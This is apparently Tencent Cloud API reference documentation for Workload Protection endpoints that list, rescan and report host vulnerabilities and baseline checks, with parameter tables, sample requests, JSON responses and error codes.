- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulDefencePluginStatus

Last updated：2024-12-06 15:39:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the vulnerability defense plugin status of each host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefencePluginStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - host IP address or alias for filtering • Exception - String - required: no - plugin status: 0: normal; 1: abnormal; 2: no Java process injection
Offset	No	Integer	Data offset
Limit	No	Integer	Data limit
Order	No	String	Sorting method, case insensitive: ASC for ascending order; DESC for

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			descending order
By	No	String	Sorting column (exact match). CreateTime: creation time; ModifyTime: update time.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of data
List	Array of VulDefencePluginStatus	List of host vulnerability defense plugin information Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Status of Vulnerability Defense Plugins for Each Host

This example shows you how to obtain the status of vulnerability defense plugins for each host.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefencePluginStatus
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
```

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```
{
"Quuid": "f3076bef-0fdf-44f4-bb63-b5232e13e167",
"Alias": "machinename",
"PrivateIp": "10.0.1.2",
"PublicIp": "43.139.183.147",
"Exception": 1,
"CreateTime": "2024-09-04 10:55:34",
"ModifyTime": "2024-11-03 16:26:33"
}
],
"RequestId": "1a2eba98-7a6f-4798-9724-d774c5172044",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportVulDetectionExcel

Last updated：2024-12-06 15:38:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the vulnerability detection Excel document.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulDetectionExcel.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	ID of the vulnerability detection task (different from the ID of the task for exporting the vulnerability detection Excel file in the response parameters)

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, which is used to obtain the download URL (DownloadUrl) by using the asynchronous task export API ExportTasks. (This ID differs from the vulnerability detection task ID in the input parameters.)
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting a Vulnerability Detection Excel File

This example shows you how to export the vulnerability detection Excel file.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulDetectionExcel
<Common request parameters>

{
"TaskId": "1596595610"
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"TaskId": "1615549629"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulList

Last updated：2025-03-11 22:59:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the data of the vulnerability list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returns, with the maximum value being 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filters	Filter criteria • Status - String - required: no - processing status: 0: pending; 1: allowlisted; 2: deleted; 3: ignored • ModifyTime - String - required: no - last occurrence time • Uuid- String - required: no - query by host UUID • VulName- string - • VulCategory- string - required: no - vulnerability category: 1: web CMS vulnerability; 2: application vulnerability; 4: Linux software

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			vulnerability; 5: Windows system vulnerability • IsSupportDefense - int - required: no - support for defense: 0: not supported; 1: supported • Labels - string - required: no - tag for search • IsSupportAutoFix - string - required: no - whether automatic fixing is supported: 0: not supported; 1: supported • CvssScore - string - required: no - lower limit of CVSS score • AttackLevel - string - required: no - lower limit of attack level
By	No	String	Sorting field: Level, LastTime, and HostCount
Order	No	String	Sorting order: desc and asc. Default value: asc.

3. Output Parameters

Parameter Name	Type	Description
VulInfoList	Array of VulInfoList	Vulnerability list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
FollowVulCount	Integer	Total number of focused vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Vulnerabilities of Specified Categories and Statuses

This example shows you how to obtain the list of vulnerabilities of specified categories and statuses.

Input Example

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```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVulList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example


```
{
"Response": {
"FollowVulCount": 1,
"RequestId": "d73d4495-1895-43a8-95be-f447b02e253d",
"TotalCount": 1,
"VulInfoList": [
{
"AttackLevel": 0,
"CveId": "CVE-2021-4104",
"CvssScore": 7.5,
"DefenseAttackCount": 0,
"Descript": "Apache Log4j is a Java -based open-source logging utility owned by t
he Apache Software Foundation. \nApache Log4j version 1.2 has flaws in code that
allow attackers to exploit the vulnerability via JMSApender Deserialization to ex
ecute code.",
"DescriptWisteria": "description",
"FirstAppearTime": "2024-10-18T01:22:06+08:00",
"FixNoNeedRestart": false,
"FixSwitch": 1,
"From": 0,
"HostCount": 1,
"Ids": "1",
"IsSupportDefense": 0,
"Labels": "Remote exploit,POC exists",
"LastTime": "2024-10-21 17:20:13",
"Level": 3,
"Method": 0,
"Name": "Apache Log4j 1.x JNDI Injection Vulnerability (CVE-2021-4104)",
"NameWisteria": "wisteria name",
"PublishTime": "2021-12-14 20:15:00",
"PublishTimeWisteria": "public time wisteria",
"Status": 0,
"StatusStr": "1",
"TaskId": 1,
"VulCategory": 4,
"VulId": 34338
}
]
```


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```
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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RescanImpactedHost

Last updated：2020-07-31 11:18:35

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to re-scan for vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: RescanImpactedHost.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Id	Yes	Integer	Vulnerability ID.

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Scanning for a vulnerability again

This example shows you how to scan for a vulnerability again.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=RescanImpactedHost
&Id=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.AgentOffline	The agent is offline.
FailedOperation.RescanVul	Failed to scan for vulnerabilities again.
FailedOperation.RescanVulProcessInUse	The server already has a rescan task in progress.
InternalError	Internal error.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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DescribeVuls

Last updated：2020-07-31 11:18:36

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the vulnerability list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeVuls.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
VulType	Yes	String	Vulnerability type. • WEB: web application vulnerability • SYSTEM: system component vulnerability • BASELINE: security baseline
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

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Parameter Name	Required	Type	Description
Filters.N	No	Array of Filter	Filter. • Status - String - Required: No - Filter by status (UN_OPERATED: to be processed, FIXED: fixed) Only one value is allowed for the `Status` filter, and "OR" logic is not supported.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Number of vulnerabilities.
Vuls	Array of Vul	Vulnerability list array.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Gets vulnerability list

This example shows you how to get the vulnerability list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeVuls
&VulType=WEB
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"Vuls": [
{
"VulId": 4,
"VulName": "Vulnerability name",
"VulLevel": "HIGHT",
"VulStatus": "FIXED",
"LastScanTime": "2018-03-19 17:38:56",
"ImpactedHostNum": 10
}
],
"TotalCount": 10
}
}
```


5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter.

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DescribeVulScanResult

Last updated：2020-07-31 11:18:36

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the vulnerability detection result.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeVulScanResult.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.

3. Output Parameters

Parameter Name	Type	Description
VulNum	Integer	Number of vulnerabilities.
ProVersionNum	Integer	Number of servers activated CWP Pro

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Parameter Name	Type	Description
ImpactedHostNum	Integer	Number of affected activated CWP Pro.
HostNum	Integer	Total number of servers.
BasicVersionNum	Integer	Number of servers on CWP Basic.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Gets vulnerability detection result

Gets vulnerability detection result

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeVulScanResult
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"VulNum": 10,
"ProVersionNum": 55,
"ImpactedHostNum": 20
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

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SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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DescribeVulInfo

Last updated：2020-07-31 11:18:36

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get vulnerability details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeVulInfo.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
VulId	Yes	Integer	Vulnerability category ID.

3. Output Parameters

Parameter Name	Type	Description
VulId	Integer	Vulnerability category ID.
VulName	String	Vulnerability name.

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Parameter Name	Type	Description
VulLevel	String	Vulnerability level.
VulType	String	Vulnerability type.
Description	String	Vulnerability description.
RepairPlan	String	Repair plan.
CveId	String	Vulnerability CVE.
Reference	String	Reference link.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting vulnerability details

This example shows you how to get vulnerability details.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeVulInfo
&VulId=1001
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"VulId": 1001,
"VulName": "Vulnerability name",
"VulLevel": "HIGH",
"VulType": "WEB",
"Description": "Vulnerability description",
"RepairPlan": "Repair plan",
"CveId": "CVE-001",
"Reference": "http://www.qcloud.com"
```

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```
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeImpactedHosts

Last updated：2020-07-31 11:18:37

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the list of servers affected by a vulnerability.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeImpactedHosts.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
VulId	Yes	Integer	Vulnerability category ID.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Status - String - Required: No - Filter by status (UN_OPERATED: to be processed, FIXED: fixed)

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
ImpactedHosts	Array of ImpactedHost	Affected server list array
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting affected server list

This example shows you how to get the list of servers affected by a vulnerability.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeImpactedHosts
&VulId=1001
&VulType=WEB
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example


```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"ImpactedHosts": [
{
"Id": 4,
"VulId": 1001,
"MachineIp": "10.10.12.12",
"MachineName": "Server name",
"VulStatus": "FIXED",
"Uuid": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"Description": "Vulnerability description",
"LastScanTime": "2018-03-19 17:38:56"
```


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```
}
],
"TotalCount": 10
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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Error Code	Description
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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DescribeAgentVuls

Last updated：2020-07-31 11:18:37

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the list of vulnerabilities on a single server.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeAgentVuls.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
VulType	Yes	String	Vulnerability type. • WEB: web application vulnerability • SYSTEM: system component vulnerability • BASELINE: security baseline
Uuid	Yes	String	Agent `UUID` .
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

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Parameter Name	Required	Type	Description
Filters.N	No	Array of Filter	Filter. • Status - String - Required: No - Filter by status (UN_OPERATED: to be processed, FIXED: fixed)

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
AgentVuls	Array of AgentVul	Server vulnerability information
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting the list of vulnerabilities on server

This example shows you how to get the list of vulnerabilities on a server.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeAgentVuls
&Uuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&VulType=WEB
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"AgentVuls": [
```

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```
{
"Id": 4,
"VulId": 1001,
"MachineIp": "10.10.120.12",
"Description": "Vulnerability description",
"VulName": "Vulnerability name",
"VulLevel": "HIGHT",
"VulStatus": "UN_OPERATED",
"LastScanTime": "2018-03-19 17:38:56"
}
],
"TotalCount": 10
}
}
```


5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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New Baseline Management APIs DeleteBaselinePolicy

Last updated：2024-12-06 15:40:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the baseline policy configuration.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBaselinePolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
PolicyIds.N	Yes	Array of Integer	Policy ID

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting a Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteBaselinePolicy
<Common request parameters>

{
"PolicyIds": [
"268"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "f3362b1f-cd25-405e-a910-810e443d4889"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeBaselineHostDetectList

Last updated：2024-12-06 15:40:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of hosts for baseline detection.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineHostDetectList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• PolicyId - int64 - required: no - policy ID HostName - string - required: no - host name • HostIp - string - required: no - host IP • ItemId - int64 - required: no - item ID • RuleId - int64 - required: no - rule ID • DetectStatus - int - required: no - detection status • Level - int - required: no - risk level • • StartTime - string - required: no - start time

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			• EndTime - string - required: no - end time
Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional Order Column: [LastTime|ItemCount|PassedItemCount|NotPassedItemCount|FirstTime]

3. Output Parameters

Parameter Name	Type	Description
List	Array of BaselineHostDetect	None
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Result List of Detection on Hosts

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBaselineHostDetectList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"List": [
{
"HostId": "a0770b41-9697-4a1d-8150-b8fa247b6189",
"HostIp": "172.23.16.10",
"HostName": "Feature test Ubuntu 20 vulnerability fixing v_txmitan",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 188,
"NotPassedItemCount": 202,
"ItemCount": 390,
"FirstTime": "2022-05-11 17:11:32",
"LastTime": "2022-08-23 14:28:51",
"Uuid": "a0770b41-9697-4a1d-8150-b8fa247b6189"
},
{
"HostId": "36a78a1e-7711-4e7f-9fbe-c7afab78cd78",
"HostIp": "10.255.0.36",
"HostName": "jaryzhou - coding test",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 183,
"NotPassedItemCount": 203,
"ItemCount": 386,
"FirstTime": "2022-08-17 12:53:15",
"LastTime": "2022-08-17 12:53:15",
"Uuid": "36a78a1e-7711-4e7f-9fbe-c7afab78cd78"
},
{
"HostId": "cc0e8a25-7169-4b5c-a929-2b4cccbfce10",
"HostIp": "172.23.16.4",
"HostName": "Feature test Ubuntu 18 vulnerability fixing v_txmitan",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 186,
"NotPassedItemCount": 183,
"ItemCount": 369,
"FirstTime": "2022-05-11 17:11:16",
"LastTime": "2022-08-23 10:48:21",
"Uuid": "cc0e8a25-7169-4b5c-a929-2b4cccbfce10"
},
{
"HostId": "59b8dd86-333a-4b4a-872f-2162614e5e97",
"HostIp": "172.23.16.7",
"HostName": "Feature test Ubuntu 14 vulnerability fixing v_txmitan",
```


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```
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 225,
"NotPassedItemCount": 132,
"ItemCount": 357,
"FirstTime": "2022-05-11 17:08:46",
"LastTime": "2022-08-22 17:01:23",
"Uuid": "59b8dd86-333a-4b4a-872f-2162614e5e97"
},
{
"HostId": "044889f8-d6a2-4fc3-a8a8-c114b6f5266b",
"HostIp": "172.23.16.14",
"HostName": "Feature test Ubuntu 16 vulnerability fixing v_txmitan",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 226,
"NotPassedItemCount": 131,
"ItemCount": 357,
"FirstTime": "2022-08-03 14:10:06",
"LastTime": "2022-08-22 21:37:14",
"Uuid": "044889f8-d6a2-4fc3-a8a8-c114b6f5266b"
},
{
"HostId": "d8feb20e-dcdd-461b-9b37-336c42d48657",
"HostIp": "172.16.0.49",
"HostName": "Many feature test software_ivon",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 176,
"NotPassedItemCount": 160,
"ItemCount": 336,
"FirstTime": "2022-08-03 14:09:26",
"LastTime": "2022-08-23 10:48:32",
"Uuid": "7168bc08-c1b8-11ea-9053-48fd8e5f474c"
},
{
"HostId": "346f0497-894c-492f-9afb-ccef1fdb3adc",
"HostIp": "172.16.0.40",
"HostName": "CWP performance test_ivon",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 178,
"NotPassedItemCount": 157,
"ItemCount": 335,
"FirstTime": "2022-08-17 12:52:39",
"LastTime": "2022-08-17 17:24:13",
"Uuid": "346f0497-894c-492f-9afb-ccef1fdb3adc"
```


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```
},
{
"HostId": "8c09e1b1-5611-45b3-9c02-737996011b81",
"HostIp": "172.27.16.8",
"HostName": "COS mounting verification_ivon",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 177,
"NotPassedItemCount": 158,
"ItemCount": 335,
"FirstTime": "2022-08-03 14:11:35",
"LastTime": "2022-08-23 10:48:21",
"Uuid": "8c09e1b1-5611-45b3-9c02-737996011b81"
},
{
"HostId": "bce5ff2e-8c8d-4077-9acc-80ce542a6937",
"HostIp": "172.16.16.10",
"HostName": "v_vxuebai",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 178,
"NotPassedItemCount": 157,
"ItemCount": 335,
"FirstTime": "2022-05-10 20:14:37",
"LastTime": "2022-08-17 12:52:37",
"Uuid": "bce5ff2e-8c8d-4077-9acc-80ce542a6937"
},
{
"HostId": "ea6ce403-d165-4ed4-8362-958667c9ae37",
"HostIp": "172.16.16.33",
"HostName": "v_vxuebai-1",
"WanIp": "10.104.9.1",
"DetectStatus": 0,
"PassedItemCount": 178,
"NotPassedItemCount": 156,
"ItemCount": 334,
"FirstTime": "2022-06-21 15:36:02",
"LastTime": "2022-08-17 12:51:20",
"Uuid": "ea6ce403-d165-4ed4-8362-958667c9ae37"
}
],
"RequestId": "fca17381-b0fa-45c4-8568-82c186be9dc0",
"Total": 36
}
}
